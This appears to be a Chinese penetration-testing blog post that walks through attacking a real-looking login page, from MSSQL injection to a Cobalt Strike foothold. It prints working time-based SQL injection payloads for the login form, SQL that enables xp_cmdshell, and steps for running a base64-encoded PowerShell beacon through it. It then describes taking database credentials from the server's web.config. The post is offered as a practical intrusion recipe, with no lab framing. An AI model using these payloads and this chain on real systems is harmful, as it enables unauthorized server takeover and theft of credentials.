【实战篇】从mssql注入到上线CobaltStrike

2021-04-08 20:25:58 浏览数 (1)

Part.1

mssql注入

mssql注入

首先打开目标是一个登陆界面:

通过burp抓包,发现登陆口存在sql注入:

尝试延时注入,成功:

判断是否为dba权限(也可用sqlmap的–is-dba判断>):

代码语言:javascript复制
action=login&name=admin';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:5';--&psw=admin

判断是否为站库分离:

代码语言:javascript复制
uname=test';if(host_name()=@@servername)WAITFOR DELAY '0:0:5';--

检查是否开启xp_cmdshell:

代码语言:javascript复制
action=login&name=admin';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5'--&psw=admin

响应包出现延时,可以执行系统命令~

如果没有开启,通过以下命令开启:

代码语言:javascript复制

(1)恢复/删除xp_cmdshell
exec sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
exec sp_dropextendedproc 'xplog70.dll'
(2)# 关闭xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',0;
RECONFIGURE;
(3)# 启用xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

Part.2

上线Cobalt Strike

上线Cobalt Strike

首先打开Cobalt Strike:

生成powershell类型的payload:

由于存在单引号,无法直接执行,将payload进行base64加密:

代码语言:javascript复制
http://www.jackson-t.ca/runtime-exec-payloads.html

通过xp_cmdshell执行powershell payload:

查看web log,发现存在访问记录:

事件日志显示服务器上线:

beacon上线,执行系统命令:

上线后翻找服务器文件,可以在inetput目录下找到web服务配置文件:

//inetpub文件夹是IIS(Internet Information Services)中Windows站点的根。

Web.config包含数据库配置:

成功连接数据库:

0 人点赞